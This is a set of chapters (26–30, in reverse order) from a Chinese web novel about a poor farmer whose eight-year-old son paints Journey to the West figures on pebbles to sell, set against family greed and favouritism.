就在这时,一个衣着体面,神色焦急的中年汉子,拨开重重人群,像见了救命稻草一般,直冲摊位而来! 那汉子三步并作两步抢到摊前,指着地上那些花花绿绿的石头,上气不接下气:“这些……这些石头,你开个价!我家老爷,全包了!” 陈仲和脑子嗡的一声,彻底懵了。 他张了张嘴,一个字都吐不出来。 旁边那尖嘴猴腮的干瘦商人却先跳了出来,阴阳怪气地嚷嚷: “哟,这位大哥,您可别被这奸人给蒙了!” 他故意拖长了调子,斜睨着陈仲和,满脸的讥诮:“人家这石头,金贵着呢!” “一两银子一个!” “少一个子儿,都不卖!” 说罢,他还冲着周围看热闹的人群摊了摊手,一副“你们就瞧好吧”的嘴脸。 哪知,那焦急的汉子压根没搭理他,甚至连眼皮都没抬一下! 他的目光,死死地盯在那一堆石头画上,像是饿狼瞧见了肥肉! “哗啦——” 一声轻响,一块足有半个巴掌大的银锭,连同几块碎银,被他从怀里掏了出来! 雪白的银光,在阳光下刺得人睁不开眼! 他飞快地数了数,从中拨出三十六两,看也不看,直接塞向陈仲和! “三十六两!你点点!” 声音豪迈,掷地有声! 整个喧闹的街角,刹那间,死一般的寂静! 先前所有嘲讽过陈仲和的路人、摊贩,此刻全都像被无形的大手扼住了咽喉! 一个个,张大了嘴巴,眼珠子瞪得溜圆,几乎要从眼眶里弹出来! 尤其是那奸商,更是目瞪口呆! 死寂,仅仅持续了一瞬。 “天……天老爷!真……真有人买啊!”一个妇人最先回过神,失声尖叫,声音都变了调! “三十六两!这……这是哪家的?出手也太阔绰了!” 人群中,一个常在南城厮混的小贩,眼尖地认出了那汉子腰间的牌子,声音发颤地惊呼: “那是……那是城南钱百万,钱老爷府上的腰牌!” “钱府?!” “原来是富甲一方的钱百万家!” 众人恍然。 庐州府,谁人不知钱百万家财万贯?! 可紧接着,更大的疑惑如同潮水般涌上众人心头: 这平平无奇的破石头,究竟藏着什么惊天动地的魔力,能让钱百万这等人物,如此不惜重金买下来?! 那钱府家丁却不多言半句。 见陈仲和还愣在当场,他索性将沉甸甸的银子往陈仲和怀里一塞! 然后,手脚麻利地将所有石头画一股脑儿扫进一个布袋,扛上肩头,头也不回地挤出人群,匆匆离去! 那模样,仿佛生怕陈仲和下一刻就会反悔似的! 家丁一走,街面上关于“天价奇石”的议论,如同滚油泼了旺火,彻底炸开了锅! 人人都在猜测,那石头究竟有何等鬼斧神工之妙,引得钱百万这样的豪商也为之疯狂! 第30章 天价石头,一两一个! “爹!娘!我就要那个会说话的石头!你们到底给没给我找啊!” 钱岳的哭嚎声,几乎要刺破钱老爷的耳膜! 他揉着发胀的太阳穴,带着无奈:“我的乖儿子,不是爹不给你找啊。” “这满庐州府,都快掘地三尺了,没见着那种稀奇古怪的石头啊。” “我不管!我不管!” 钱岳开始在地板上打滚,嗓门一声高过一声,“你们快去问问张金宝!那石头是他家那个小书童画的!” 钱老爷听闻此言,像是抓住了救命稻草,赶紧吩咐下人:“快!快去张府问问!” 几乎是同一时间,庐州府内,刘府、孙府也都派了人过来。 张府。 张盛财看着眼前乌压压站了一院子的各府下人,听着他们一会儿“会说话的石头”,一会儿“画着美猴王的石头”,只觉得一个头有两个大。 他用力摆了摆手,示意喧闹的众人安静下来:“诸位,诸位,且听张某一言!” “你们说的这些个稀罕玩意儿……张某着实是不知情啊。” “也没听说,金宝那孩子得了什么稀奇的石头宝贝。” 人群中,一个下人立刻高声回道:“张老爷,我家小少爷说了,是府上少爷身边的那位小书童画的石头,还会讲有趣的故事呢!” “陈平川?”张盛财闻言,眉头一挑。 这小子,又在捣鼓什么名堂? 他立刻扬声吩咐任管家:“去,把平川那小子给我叫来!” 不多时,陈平川跟着任管家来到了书房。 张盛财将事情说了一遍,目光上下打量他:“平川,他们说的这些石头,真是你弄出来?” 陈平川微微垂首:“回老爷,确是小子闲暇无事时,胡乱涂鸦的一些小玩意儿。” “那这石头……”张盛财顿时有些犯难。 眼前这些各府派来的下人,足有二十多个,代表着庐州府大半的头面人家。 总不能让陈平川这小子,守在这里挨个给他们画吧? 就算他画得再快,画到天黑也画不完。 难道他张府还要留这些下人在自家吃饭睡觉不成?那成何体统! 陈平川仿佛看穿了张盛财的为难,嘴角微笑:“老爷不必忧心,小的去和他们说。” 走出书房,陈平川对那些焦急等待的各府下人,朗声道:“劳烦各位回去通禀一声。就说此物近日便会在庐州府集市上出现。若是有缘,自会相见。” 各府下人闻言,面面相觑,虽不明白这小书童葫芦里卖的什么药,但见他信誓旦旦的模样,只得拱手告辞,回去向自家主子复命。 张盛财看着陈平川那小小的身影,眼神中充满了好奇。 这小子到底,在搞什么鬼? …… 清晨,天刚蒙蒙亮,东方才露出一抹鱼肚白。 陈仲和怀揣着儿子那些宝贝石头,顶着晨露,赶了几十里崎岖山路,终于在日出前进到了庐州府城。 他在府城最是繁华热闹的中央集市,寻了个不起眼的角落,将破旧包袱布,小心翼翼铺在青石板地面上。 然后,他打开包裹,将那三十余枚色彩斑斓、形态各异的石头画,一枚枚摆放整齐。 晨曦微露,第一缕金色的阳光透过薄雾,轻柔地洒在那些静静躺着的鹅卵石上。 桀骜不驯的孙悟空;憨态可掬的猪八戒;宝相庄严的唐三藏;忠厚老实的沙和尚…… 每一个人物,在鲜艳矿物颜料的描绘下,都显得栩栩如生,仿佛被注入了灵魂,下一刻就要从冰冷的石头上跃然而出。 此刻的集市开始热闹起来,行人渐多。 这些从未出现过的新奇玩意儿,很快就吸引了几个赶集路人的目光。 陈仲和鼓起勇气,学着旁边那些摊贩,尝试着放开嗓子,吆喝起来。 “卖石头画儿嘞……会讲故事的石头画儿嘞……” 他的吆喝声在清晨的集市上显得有些突兀,行人的目光纷纷好奇地投了过来。 陈仲和只觉得脸颊火辣辣地发烫,心虚得厉害。 一两银子一个石头! 说出去,不怕被人当成疯子么? 终于,有人被吸引,停下了脚步。 一个穿着绸缎短衫,看着颇为体面的中年人,好奇地俯下身,拿起一枚画着“三打白骨精”情节的石头,放在手心细细端详:“咦?这画儿倒是精巧细致,以前可从未见过。画的这是什么名堂?” 旁边另一位穿着葛布长衫的读书人模样的青年,也拿起一枚画着“齐天大圣大闹天宫”的石头,放在眼前啧啧称奇:“这猴儿画得真是活灵活现,倒是有几分意思。” 先前那中年人又拿起几块看了看,越看越是喜欢,抬头问道:“敢问这位老哥,你这石头画儿,却是如何卖的?” 陈仲和紧张得手心全是湿滑的汗,他用力咽了口唾沫,才勉强从牙缝里挤出几个字:“一……一两……一两纹银,一个。” 话音刚落,周围原本还有些低低议论声的人群,霎时间安静了下来。 那几个正拿着石头兴致勃勃端详的客人,手都僵在了半空,脸上的表情也凝固了。 这诡异的静默,只持续了短短的一瞬。 随即,人群中爆发出了一阵大笑。 “什么?一两银子?我没听错吧?这老哥莫不是睡糊涂了?” “哈哈哈哈!这老实巴交的汉子,是想钱想疯了心窍!一个破石头,也敢狮子大开口要一两银子!” “就是!城里最有名的丹青妙手王先生,一幅精工细作的山水画,也不过几百文钱。他这不知从哪个河滩里捡来的破石头,涂抹几笔颜色,居然敢漫天要价一两银子?” “我看他是穷疯了!一大清早的,拿几块不值钱的烂石头出来消遣咱们!” “谁家的一两银子是大风刮来的不成?会花这个冤枉钱,买你这劳什子石头疙瘩?” 各种难听的嘲讽、刻薄的挖苦、鄙夷的目光,一波接一波地向陈仲和无情地涌来。 陈仲和一张黝黑粗糙的老脸,瞬间涨成了猪肝般的紫红色。 第29章 我的石头,就值这个价! 庐州府,赵府之内。 “娘!我就要那种会说话的石头!我就要!” 赵婉儿哭得梨花带雨,小小的拳头捶打着光洁的梨花木桌案,发出“咚咚”的闷响。 赵夫人太阳穴突突直跳,只觉得头疼欲裂。 她无奈地看着平日里视若掌上明珠的女儿,柔声道:“婉儿乖,娘已经派人去找了,全城都快翻遍了,可是……” “我不管!我不管!”赵婉儿尖叫起来,哭声更甚,“张静姝那个乡下丫头都有!我堂堂县丞千金,为什么没有?这像什么话!” 赵夫人心中幽幽一叹。 自家这宝贝女儿,自小便是要风得风,要雨得雨,每次都会想着法满足她? 偏偏这次,她实在找不到这会说话的“石头”! 与此同时,刘府。 刘铭自打那日县令府赴宴归来,整个人就像是丢了三魂七魄。 往日里调皮捣蛋的劲头全然不见,天天缠着自家老爹刘县令,一把鼻涕一把泪地哭嚎:“我的画着美猴王的石头!我要齐天大圣!爹,你快给我找回来啊!” 刘县令被他闹得一个头两个大,在衙门里端着的官威,此刻在自家儿子面前,那是半点也施展不开。 “好好好,我的小祖宗!爹给你找,爹这就派人给你找回来,还不行吗!” 类似的场景,几乎在同一时间,于孙府、钱府等富贵人家轮番上演。 各家的老爷夫人们,无一不被自家的心肝宝贝们,缠磨得焦头烂额。 平日里绫罗绸缎、珍馐美味都引不起这些小祖宗多大兴趣。 如今,竟为了几块画了画的“破石头”,一个个痴迷到了这般地步! 这让他们既是头痛万分,又是暗自好奇。 这石头,究竟有何等魔力?竟能牢牢抓住孩子的心? 于是,各家纷纷派遣下人,带着重金,四处奔波打探。 庐州府最大的玩具铺“奇珍阁”,掌柜的听闻来意,脑袋摇得像拨浪鼓一般:“画在石头上的美猴王?客官,您莫不是在说笑?小老儿在这庐州府开铺几十年,可从未听闻过此等奇物啊!” 城南的古玩市场,那些摊贩们,更是被问得一头雾水:“石头上作画?还带故事?这位爷,您是拿小的们开涮吧?” 甚至,连那些走街串巷,摇着拨浪鼓收旧货的货郎,都被各府下人拦住,仔细盘问。 结果,自然是一无所获。 偶尔下人们带回来的,要么是些画在纸上、绢上的寻常画作,要么就是一堆普通的石头,其中倒也不乏光滑圆润的鹅卵石,可没一个有画,更没一个会讲那劳什子“齐天大圣”的故事。 这结果,自然是惹得府中的小少爷、小姐们哭闹更甚。 一时间,各家府邸之内鸡飞狗跳,不得安宁。 老爷夫人们头痛欲裂,那些办事不利的下人们,则个个噤若寒蝉,生怕主子一怒之下,板子就落到了自己身上。 而就在这满城风雨之际,张府后门。 陈仲和挑着一担精挑细选的鹅卵石,局促不安地站在后门口,等着任管家出来。 今日的任管家,见了陈仲和,轻轻叹了口气。 “陈老哥,这些石头,我还是按老价钱收了。不过……” 任管家从怀里多摸出几枚铜钱,递到了陈仲和的手里。 “这是最后一次了。” “府里的路已经修好了,再也不用这些石头。我这次多给你几文,也是看在平川那孩子的份上。” “以后,不要再来送石头了,记住了吗?” 虽然陈仲和早有心理准备,可是听到这话的那一刻,他的心还是沉到了无底的深渊。 家里最后的指望,终于还是断了! 他张了张干裂的嘴唇,想说些什么,喉咙里一个字也吐不出来。 绝望,从四面八方涌来,将他淹没。 恰在此时,一个小小的身影从后门探出头来。 “爹!” 是陈平川。 他寻了个给张金宝打水的由头,悄悄溜了出来。 陈仲和看见儿子,那双本已黯淡无光的眼睛里,骤然亮起了一丝微弱的光芒。 “平川……” 陈仲和的声音哽咽,眼圈发红。 陈平川见状,心中一紧,立刻拉着父亲走到僻静的墙角。 他警惕地扫视了一眼四周,确认无人,才压低了声音问道:“爹,家里可是又出事了?” 陈仲和再也支撑不住。 他将家里那些亲戚如何再次逼迫,刮走二两银子,以及如今连这捡石头的生计也断绝的绝境,一股脑儿地,对儿子倾诉了出来。 说到伤心处,这个一辈子老实巴交、任劳任怨的汉子,抹了把眼泪,高大的身躯也忍不住微微颤抖。 都说男儿有泪不轻弹,陈平川知道,这是因为父亲太悲伤绝望了。 “平川啊……是爹太没用了……”他的声音颤抖着,充满了无尽的自责,“你娘的病……一直不见好转,家里又彻底没了进项……家里他们……他们简直不是人啊!” 陈仲和说不下去了。 陈平川听着父亲断断续续的哭诉,心中怒火翻腾,眼神也变得冰冷。 但他面上依旧保持着镇定,伸出小手,轻轻拍了拍父亲宽厚坚实的肩膀。 “爹,您别急,天无绝人之路。” “儿子有办法!” 陈平川的声音不高,却透着一股令人心安的力量。 他从自己怀里,小心翼翼地取出一个用粗布包裹得严严实实的布包。 他一层层解开布包,只见那摊开的粗布之上,静静地躺着三十余枚大小不一的鹅卵石。 这些鹅卵石,无一例外,都被涂上了鲜艳的色彩,绘制着栩栩如生的图案。 手持金箍棒、神情桀骜的孙悟空; 大腹便便、憨态可掬的猪八戒; 挑着担子、忠厚老实的沙和尚; 以及宝相庄严、面带慈悲的唐三藏…… 每一个人物都活灵活现,仿佛要从石头上走下来一般。 正是他这些时日,利用张静姝“无限量供应”的颜料,借着夜深人静、无人察觉之时,偷偷绘制出来的《西游记》主题石头画精品。 每一枚,都倾注了他极大的心血。 “爹,”陈平川拿起其中一块画着“孙悟空大闹天宫”,递到父亲布满沟壑的眼前。 “这些石头,你拿到府城里的集市上去卖。” 陈仲和呆呆地看着儿子手中那块色彩斑斓、画工精细的石头,一时间竟有些回不过神来。 又卖石头? “爹你记住,”陈平川的声音平静,带着自信。 “每一枚,最少要卖一两银子!” 陈仲和眼睛瞬间瞪得像铜铃一般大小,嘴巴也张得能塞下一个鸡蛋。 他看看一脸认真的儿子,简直不敢相信自己的耳朵。 “什……什么?一、一两银子……一个?” 他的声音都因为极度的震惊而变了调。 “平川,你莫不是……莫不是在跟爹说笑?这……这石头疙瘩……它怎么可能值那么多钱?” 一两银子! 那可是他们一家人辛辛苦苦大半年的嚼用啊! 如今,就这么一块小小的、光溜溜的石头,画上些花花绿绿的道道,就能卖出一两银子? 这简直比天上掉馅饼还要让人难以置信! 陈平川看着父亲那副惊讶不已的模样,脸上露出一丝浅浅的笑容。 他认真地看着父亲的眼睛,一字一句地说道:“爹,你信我。” “上次我让您去捡那些没人要的普通石头,偷偷卖给张府,不也赚钱了吗?” “这次,也一定能行!” “别人若是笑话你,或者说三道四,你别理他们。” “只管守着这个价,少一文钱,都不能卖。” “我的这些石头,就值这个价!甚至,更贵!” 陈仲和看着儿子那双黑亮而笃定的眼睛,感觉不像一个八岁的孩子。 虽然心里还是觉得离谱,但想起家中病重憔悴的妻子,想起小女儿渴望新鞋的眼神,想起老宅那些人丑恶贪婪的嘴脸…… 陈仲和猛地一咬牙,下定了决心。 “好!” 他郑重地从儿子手中接过那个沉甸甸的布包。 “爹这就去府城试一试!” 第28章 脸面更重要?狗屁亲情,不要也罢! “砰!” 他手中的梨花木拐杖狠狠往青石板地上一顿,发出一声沉闷巨响,整个堂屋似乎都跟着轻轻颤了颤。 “混账东西!” 老太爷的声音如同平地炸开一个焦雷,怒火几乎要喷薄而出:“我的脸面重要,还是你媳妇那点汤药钱重要?还是你女儿一双破鞋重要?” “我若是在老友面前失了体面,丢的是我们整个陈家的脸面!” “你懂不懂什么是孝顺!什么是家族荣辱!” 陈仲和被这雷霆之怒吓得浑身一哆嗦,刚刚鼓起的勇气瞬间消散无踪。 他想反驳,想为自己那苦命的妻女争取一点点,哪怕只有一点点可怜的权益。 可话到了嘴边,却又被那股积威已久的家主威严,以及那“孝道”的大帽子,硬生生给压了回去,堵在了喉咙里,化作满腔的苦涩。 陈老太太也立刻尖着嗓子帮腔,声音刺耳:“老二!你背着家里私藏银钱,还有脸跟我们讨价还价?” 她那双三角眼斜睨着陈仲和,满脸都是毫不掩饰的刻薄:“再说,你媳妇那病,我看就是矫情!喝点米汤养养也就是了,哪有那么金贵,非得吃药!” “平玉一个丫头片子,赔钱货!穿什么新鞋!有双破鞋遮遮脚就不错了!” 大伯母在一旁,更是阴阳怪气地煽风点火,嘴角噙着一抹幸灾乐祸的笑意:“哟,二弟现在是越来越有出息了啊,眼里只有老婆孩子热炕头,连爹娘的体面都不顾了。这要是传出去,可真是让人笑掉大牙!” 王氏则适时地用帕子掩着嘴,发出一声极轻极低的嗤笑,那双狐狸眼瞥了陈仲和一眼,道:“二哥这话说的,倒像是爹娘平日里亏待了你们二房似的。咱们做儿女的,孝敬父母不是天经地义的吗?” 一句句,一声声,都像钢针,狠狠扎进陈仲和的心口窝。 他感觉自己的脸颊火辣辣地发烫,羞愤交加,窘迫难当,恨不得地上立刻裂开一道缝,好让他钻进去。 可他不能。 他只能死死咬着牙关,将所有的屈辱、悲愤和不甘,伴着血腥味,一同咽进肚子里。 最终,陈平川给他的钱,都进了陈老太太的钱袋。 她甚至懒得再看陈仲和一眼,只是随手从钱袋里,摸索了半天,才不情不愿地数出几十个黑乎乎的铜板,丢垃圾一般,“啪”地一声丢在陈仲和脚边的地上。 “喏,这些,够你们娘俩买几天的粗米了。省着点花!” 那语气,那神态,活脱脱就是在打发一个上门乞讨的叫花子。 区区几十文铜钱。 对比那二两纹银。 这差距,大得让人窒息,让人绝望。 陈仲和默默地弯下腰,颤抖着手,将那几个散落在冰冷地上的铜钱,一枚一枚,艰难地捡拾起来。 每一枚铜钱,都仿佛带着千钧的重量,压得他直不起腰。 抬起头,看着父母那副理所当然、甚至带着一丝得意与炫耀的表情。 看着大房、三房那几乎毫不掩饰的幸灾乐祸,甚至带着几分嘲弄的嘴脸。 一股深不见底的无力感,和一种难以抑制的愤懑与怨毒,如同汹涌的潮水般,瞬间涌上心头,几乎要将他彻底吞没。 …… 陈仲和失魂落魄地推开自家那扇吱呀作响,仿佛随时都会散架的破旧木门。 屋里,一盏昏暗如豆的油灯,在简陋的土炕边摇摇欲坠,散发着微弱的光芒,勉强驱散了一小片黑暗。 罗氏正虚弱地半躺在冰冷的土炕上,脸色苍白如纸,没有一丝血色。 听到开门声,她费力地转过头,看向自家男人,声音沙哑,带着几分关切:“当家的,你回来了?爹娘叫你过去,可是……可是又有什么事?” 陈仲和看着妻子憔悴的脸,勉强挤出一个比哭还要难看的笑容,声音干涩:“没……没什么大事,就是问问家里的情况。你……你好好歇着,别多想。” 他不敢说出真相。 他怕妻子知道了,控制不住自己的脾气,与公婆爆发更为激烈的冲突。 到那个时候,这个所谓的“家”,恐怕就真的要彻底散了。 罗氏何等聪明,看着丈夫那憔悴不堪的脸色,和他那不敢与自己对视的眼神,心中已然猜到了七八分。 她没有点破。 只是微微叹了口气,幽幽地说道:“当家的,我知道你难。只是……只是这日子,什么时候才是个头啊……” 说完,便不再言语,缓缓闭上了眼睛,两行清泪却无声地从眼角滑落,浸湿了鬓角。 炕桌上,放着一只豁了口的粗瓷碗,碗里是清可见底,几乎能照出人影的稀粥。 旁边,小女儿陈平玉,穿着那双明显不合脚,鞋底已经磨得很薄,甚至露出了几个脚趾头的破旧布鞋,正懂事地爬到床边,伸出那双瘦弱的小手,轻轻地给母亲捶着腿。 “娘,平玉捶腿,娘就不难受了……”小女孩的声音,带着稚嫩的童音,乖巧第说道。 陈仲和的心,像是被无数把细小的、锋利的刀子,在反复切割,来回拉锯。 痛得他几乎无法呼吸。 痛得他五脏六腑都仿佛搅在了一起。 他再也忍不住,转过身,用粗糙的手背狠狠抹了一把脸,泪水却依旧不争气地涌了出来。 他想到老太爷意气风发地宣布要做新衣裳,要给多年未见的老友准备厚礼,要风风光光地去赴宴,去彰显他们陈家的“脸面”。 而自己的妻女,却在这间四面漏风的破屋里,连最基本的温饱都难以维系,在病痛与饥饿中苦苦挣扎。 他的儿子,他那年仅八岁的平川,更是远在张府给人做奴仆,不知受着怎样的苦楚。 还有他的亲兄弟们,一个个更是狼心狗肺! 这个所谓的“家”,这个所谓的“亲人”,此刻在他眼中,变得如此陌生,如此冰冷,如此令人绝望。 分家! 罗氏当初在极度愤怒之下,脱口而出要分家的念头,此刻,在他的心中,也变得越来越清晰,越来越坚定! 这个念头,如同一点火星落入枯草,在他心中轰然烧起,再也无法遏制! 或许,只有那样,他们一家人,他们二房,才能真正地活下去! 才能活得像个人样! 他死死攥着那几十枚冰冷的铜钱,指节因用力而发白,铜钱的边缘深深嵌入掌心,带来一丝尖锐的刺痛。 第27章 极品爹娘,“孝”字压垮老实人 陈仲和听着这话,心中涌起一阵难以言喻的苦涩。 疼爱? 平川那孩子从小到大,何曾真正得到过祖父半分真心的疼爱? 如今,仅仅因为这二两银子,就摇身一变,成了他口中“有出息”、“没白疼”的好孙子了。 陈老太太从大伯母手中夺过那几块碎银,紧紧攥在自己干瘪的手心里,生怕飞了一样。 陈老太爷将目光转向了闷不做声的陈仲武。 “老三,”他语气平淡,“你二哥,可是出了二两银子。” “你呢?” 陈仲武脸上的表情瞬间僵住。 他先前为了在老太爷面前讨巧卖乖,可是把胸脯拍得“嘭嘭”响,信誓旦旦地说什么“二哥出多少,我便出多少,绝不少他一文钱!” 谁曾想,老二这个闷葫芦,竟能“抖”出整整二两白花花的纹银来! 这让他上哪儿去凑这笔钱? 冷汗,悄无声息地从他额角渗了出来。 他那双滴溜溜乱转的眼珠子,此刻更是转得飞快,拼命想要想出一个能蒙混过关的法子。 一直默不作声的王氏,见自家男人陷入窘境,心中早已有了计较。 她眼波流转,脸上堆满了娇柔妩媚的笑容,嗲声嗲气地开了口:“爹,娘,今儿个家里人都在,媳妇儿正好有件事儿,想跟您二老商量商量。” 她顿了顿,目光若有似无地扫过大房的陈仲文:“大哥如今已是秀才公,将来必定是要做官老爷,给咱们陈家光耀门楣的。我家老三呢,虽没大哥那般出息,可也一直都以大哥为榜样,想为咱家多出一份力。” 王氏笑意盈盈,话锋一转,“如今,咱们家的虎子,也到了八岁的年纪了。” “这孩子平日里就爱学他大伯的样儿,拿着树枝在地上写写画画,嘴里还念念有词的。依媳妇儿看,他也是个爱念书的好苗子。” “是不是……也该送他去学堂,开蒙读书?” “将来啊,说不定也能像大哥一样,考取个功名回来,为咱们老陈家再添一份荣光!” 王氏口中的“虎子”,正是她和陈仲武的独子,陈平西。 那孩子生得倒是虎头虎脑,嘴巴又甜,天生就是一副讨长辈喜欢的机灵模样。 而陈老太爷和陈老太太对这个小孙子,那真是含在嘴里怕化了,捧在手里怕摔了,偏爱到了骨子里。 相比之下,二房的陈平川兄妹,在两人眼中,简直就跟路边的野草没什么分别。 王氏这番话一出口,堂屋里所有人都愣住了。 要知道,单是供一个陈仲文读书,就已经让陈家上下勒紧了裤腰带,日子过得紧巴巴的。 如今,还要再供一个? 这岂不是要了大家的命? 大伯母是第一个沉不住气的。 她那张刻薄的脸上写满了不快,尖着嗓子就嚷嚷了起来:“我说三弟妹,你太着急了吧?” “平西才多大点儿?他懂个什么叫读书?” “再说了,我家相公眼瞅着秋闱在即,正是用钱的关键时候!这节骨眼上,家里哪里还有闲钱再供一个小的读书?” “你这不是存心给大家添堵,耽误我家相公的前程吗?” 陈仲文也立刻捻着自己下巴上那几根稀疏的短须,连连摇头,摆出一副痛心疾首的模样:“三弟妹,你糊涂啊!” “家中财力本就捉襟见肘,眼下当务之急,乃是集中家中所有资源,助我一举夺魁,金榜题名,方为上上之策!” “切不可因小失大,分散了这本就有限的精力与财力啊!” 夫妻二人一唱一和,配合得天衣无缝,话里话外,核心意思只有一个:坚决不同意三房的陈平西也去读书,那会动摇他陈仲文的“根本利益”。 王氏可不是好说话的! 她腰杆一挺,声音也拔高了几分,毫不示弱地反驳道:“大嫂这话,我可就不敢苟同!” “同样都是陈家的子孙,凭什么大哥能读书,我家平西就不能读?” “手心手背那可都是肉!爹娘总不能偏心偏到胳肢窝里去吧?” 她意有所指道:“再说了,多一个读书人,将来咱们陈家不也多一份指望,多一条出路吗?总不能把所有的鸡蛋都放在一个篮子里不是?万一这个篮子是漏的呢?” 这话,算是说到了陈老太太的心坎儿里。 她本就最是偏疼这个能说会道、模样讨喜的小孙子。 此刻听王氏这么一番“有理有据”的分析,竟也觉得十分在理。 于是,她悄悄拉了拉身旁陈老太爷的衣袖,凑到他耳边,压低了声音嘀嘀咕咕地说了好一阵子。 陈老太爷眉头紧锁,沉吟了半晌,最终,还是点了点头。 他重重地清了清嗓子,目光威严地在堂屋里众人脸上一一扫过,最后,定格在了老三陈仲武和王氏的身上。 “罢了,罢了。既然平西这孩子,也有这份向学之心,那便是好事。” “老三家的,你们这次的份子钱,就免了。” “留着……留着给平西做束脩,好好读书吧。” 陈老太太闻言,立刻那陈仲和身上搜刮来的碎银上,小心翼翼地剪下了一小块,约莫有二钱左右的样子,直接递到了王氏的手中。 “拿着,拿着!”她眉开眼笑地说道,“这些钱,就给我的乖孙子买些笔墨纸砚,可千万不能亏待了我的好孙孙!” 王氏心中大喜过望,脸上却不敢表现得太过明显,连忙做出感激涕零的模样,对着陈老太爷和陈老太太千恩万谢,一连串的好话不要钱似的往外冒。 大房一家,眼睁睁看着三房这次非但一文钱没出,反倒从老太太手里得了二钱银子,脸上又是羡慕,又是嫉妒。 而此时此刻,心里最苦的,还是陈仲和。 他万万没有想到,绕来绕去,这给老太爷做新衣裳、备厚礼的钱,最后又落在了他们二房的头上! 陈仲和鼓起了此生从未有过的莫大勇气。 他声音干涩,带着颤抖,哀求道:“爹,平川这钱……是让他娘养病的啊……” “求您……求您给家里留一些,哪怕只是一两银子……” “给平玉娘俩买点吃的,给平玉……买双合脚的鞋也好,她那双鞋底都快磨穿了,走起路来脚指头都露在外面……” 话音未落,他的眼圈已是控制不住地微微泛红。 一想到卧病在床、日渐消瘦的妻子,再想到小女儿每天踮着脚尖,生怕那双破得不成样子的鞋子会中途掉下来的可怜模样,他的心,就像被一只无形的大手死死攥住,疼得他几乎喘不过气来。 陈老太爷那张刚刚缓和了些许的脸,瞬间再度阴沉得能滴出水来! 第26章 卖身为奴还能赚钱,不枉我平日那般疼他! 陈仲和的脸瞬间涨得通红。 额头上,细密的汗珠一颗颗渗了出来,沿着脸颊滑落。 他嘴唇哆嗦着,每一个字都像是从牙缝里挤出来的:“爹,我……我实在是一个铜板也拿不出来了。” 话音未落,大伯母那尖细刻薄的声音立刻响了起来。 “没钱?” “二弟,你莫不是在哄骗我们不成?” 她眼睛一斜,目光如刀,上下刮视着陈仲和,语气里满是怀疑:“你不是天天往那张府送石头卖钱吗?” “那些钱呢?” “莫不是……被你那个婆娘偷偷藏起来了?” 字字句句,都在暗指,他有钱不肯出。 陈仲和被这话噎得心口发堵,喉咙发干,只得长长叹了口气。 声音艰涩,带着无尽的苦楚:“大嫂,你有所不知啊。” “那石头能换卖钱的事,也不知道是哪个多嘴的,给传了出去!” “如今,不止我一个。村里好几家,都挑着石头往张府送。” “人一多,你争我抢的,那价钱……自然就被压下来了。” 他越说,声音越低,带着一股无法言喻的颓丧。 “原先一筐好歹还能卖个百十来文,如今……如今也就值个几十文,堪堪糊口罢了。” 他声音艰涩地补充:“而且,听张府的任管家说,他们府里那条路也快修完了,往后……怕是这钱也赚不长久了。” 陈仲武和王氏听到“多嘴之人”四个字,眼神不由自主地一阵闪躲。 两人的表情,都变得有些许不自然起来。 王氏更是暗自心虚。 她记得前些日子,和村里几个婆娘闲话家常时,确实无意间提到了陈仲和找到了个不错的营生,每日里都有铜钱入口袋。 没想到,竟被有心人听了去,这才引来了这些竞争者,断了陈仲和的财路。 陈仲和哪里知道这些弯弯绕绕,他只是继续诉说着自己的苦楚:“再说,这卖石头的钱,大部分都得上交给家里,我媳妇……她前阵子又病了一场,抓药看诊,家里的钱,几乎都掏空了。” 大伯母却压根不信他的这番说辞。 她只当陈仲和是故意哭穷,不想掏钱。 “谁知道你说的是真是假?” 她撇了撇嘴,发出一声不屑的嗤笑:“我看你,就是铁了心不想为爹分忧!” 一旁的陈仲文,也捻着自己下颌那几根稀疏的短须,摇头晃脑,摆出一副痛心疾首的模样:“唉,钱财乃身外之物,哪有父母康健重要?” “二弟此举……着实,有失孝道啊。” 这话一出,陈老太爷那双深陷的眼窝里,陡然射出两道利箭似的目光。 那目光,死死盯在陈仲和的身上,仿佛要将他看穿:“老二,你给我说句实话,你当真一个子儿都没有了?” 整个堂屋的气氛,瞬间凝固。 满屋子的人,都盯着角落里的陈仲和。 他被众人这般目光逼视,尤其是父母那带着审视和不满的眼神,让他更是如坐针毡,浑身不自在。 他从小就憨厚老实,嘴笨舌拙,更不善撒谎。 此刻他心慌意乱,额头汗水涔涔,脸憋得通红,一只手下意识地、紧紧地捂住了自己破旧短褂的衣兜。 那里,仿佛藏着什么见不得人的东西。 知子莫若母。 陈老太太见陈仲和这般模样,心中便已然有了计较。 她那双不大的三角眼微微一眯,闪过一丝精光。 也不多言,身形猛地一个前倾,如同捕食的饿狼一般,一个箭步便蹿了上去! 她的动作,快得让人几乎来不及反应。 根本不像一个六七十岁的老人! “娘,您这是……”陈仲和顿时慌了神,下意识地抬起手臂,却又不敢真的阻挡。 陈老太太却是不管不顾,一把便将那干枯得如同鸡爪的手,狠狠伸进了陈仲和那紧紧捂着的衣兜里! “哗啦——” 一声清脆又沉闷的轻响。 几块银光闪闪的碎银,从陈仲和的衣兜里被悉数掏了出来,骨碌碌掉在了冰冷的泥土地上。 众人定睛一看,皆是倒吸一口凉气—— 那掉落在地上的,在昏暗的光线下依旧闪着诱人光泽的,分明是足足二两的纹银! 整个堂屋,瞬间寂静无声。 落针可闻。 陈老太爷的脸色,瞬间阴沉得可怕! “老二!” 他一声厉喝,声音里裹挟着怒雷,“你竟敢对我撒谎?!” “说!这银子,究竟是从何而来!” 陈仲和整个身子都僵住了,像是被冻硬的木头。 他喉结剧烈地上下滚动,额头上渗出的汗珠,一颗颗沿着脸颊的纹路滑落,滴进尘埃。 大伯母抢上前去,将那几块碎银悉数抓在了手里。 她放在手心掂了掂,脸上瞬间绽放出贪婪的精光,声音尖锐得刺耳:“嚯!这少说也得有二两吧!” “老二!你好大的胆子!竟敢背着家里藏下这么大一笔私房钱!” “啪!” 一声清脆响亮的耳光,狠狠甩在陈仲和的脸上。 陈老太太那张布满褶皱的老脸因愤怒而扭曲,眼神凶狠得像要吃人:“没心肝的白眼狼!老娘打死你这个不孝子!” 她喘着粗气,手指几乎戳到陈仲和的鼻子上:“快说!这钱到底是哪儿来的!不说实话,我今天就扒了你的皮!” 陈仲和捂着火辣辣、迅速肿胀起来的半边脸颊。 他眼神惶恐,断断续续地解释:“是……是我儿平川给我的,让我带回来……给他娘调养身子,补贴家用的……” 此言一出,犹如一滴冷水落入滚烫的油锅,整个堂屋瞬间炸开了! 